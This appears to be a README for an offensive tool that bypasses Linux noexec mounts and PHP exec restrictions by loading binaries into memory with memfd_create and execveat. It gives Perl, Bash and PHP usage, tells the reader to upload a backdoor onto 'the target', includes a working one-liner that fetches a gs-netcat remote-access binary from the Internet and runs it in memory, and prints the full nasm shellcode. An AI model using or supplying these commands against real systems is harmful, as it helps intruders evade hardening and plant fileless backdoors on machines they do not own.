Circumvent the noexec mount flag on Linux and execute abritrary binaries

This if useful on a Linux system when all writeable locations are mounted with -o noexec (including /dev/shm) or to escape PHP's 'exec' restrictions.

Use one of the 3 scripts (perl, bash, php):

• The binary does not need to have +x
• The binary can reside on a noexec-partition
• Mostly the binary can be piped directly from the Internet into the memory (and executed there)
• Works as non-root user
• The PHP variant also circumvents PHP's "exec" restrictions.
• It injects shellcode into the running process and calls memfd_create(2) and execveat(2) to load a binary from a noexec-partition (or directly from the Internet).
• BASH and PHP do not support SYSCALLS. We advanced an old trick.

Read the circumventing the noexec Article for more....

TIME_STYLE and -lah are used as an example to pass through environment parameters and command line options.

PERL example:

source memexec-perl.sh
cat /bin/ls | TIME_STYLE=+%s memexec -lah

This was golfed by the fine people on Mastodon (@acut3hack, @addision, @ilv)

BASH example (by @messede-degod):

source memexec-bash.sh
cat /bin/ls | TIME_STYLE=+%s memexec -- -lah

The PHP variant also circumvents "shell_exec" restrictions.

1. Upload memexec.php and egg (your backdoor) onto the target
2. Call curl -SsfL https://target/memexec.php to execute egg and bypassing noexec restrictions

(This is my way of saying "hey. how are to?" to my old team-teso colleague and long time PHP developer @i0nic)

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The educated reader understands that this is mostly used to pipe a backdoor from the Internet directly into memory, even when execution is prohobited by noexec or there is no writeable directory:

curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | GS_ARGS="-ilD -s ChangeMe" perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV' -- "$@"

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For the addicts, here is the nasm of the shellcode (memfd_create, copy loop & execveat):

; nasm -felf64 memexec.nasm && ld memexec.o &&  ./a.out

global _start
section .text

_start:
    push    0x00676765  ; "egg"
    mov     rax, 0x13f
    mov     rdi, rsp    ; arg 1: name [egg]
    xor     rsi, rsi    ; arg 2: 0 = no MFD_CLOEXEC
    syscall
    mov     r8, rax

    mov     rax, 2
    mov     rdi, rsp    ; arg 1: name [egg]
    xor     rsi, rsi    ; arg 2: 0 = O_RDONLY
    syscall
    mov     r9, rax

loop:
    sub     rsp, 0x400
    xor     rax, rax    ; arg 0: read_NR
    mov     rdi, r9     ; arg 1: FD [egg]
    mov     rsi, rsp    ; arg 2: buffer
    mov     edx, 0x400  ; arg 3: length
    syscall

    cmp     rax, 0x00
    jle     done        ; EOF

    mov     rdx, rax    ; arg 3: length (from read()) 
    mov     eax, 0x01   ; arg 0: write_NR
    mov     rdi, r8     ; arg 1: FD [memfd]
    syscall
    jmp     loop
done:

    mov     rax, 322    ; arg 0: execveat_NR
    mov     rdi, r8     ; arg 1: memfd
    push    0x00        ; an empty string
    mov     rsi, rsp    ; arg 2: path (empty string)
    mov     rdx, rsp    ; arg 3: ARGV points to empty string
    xor     rcx, rcx    ; arg 4: ENV
    mov     r8, 0x1000  ; arg 5: AT_EMPTY_PATH
    xor     r9, r9      ; arg 6: must be clean
    xor     r10, r10    ; arg 7: must be clean
    syscall

    mov     rax, 60
    xor     rdi, rdi
    syscall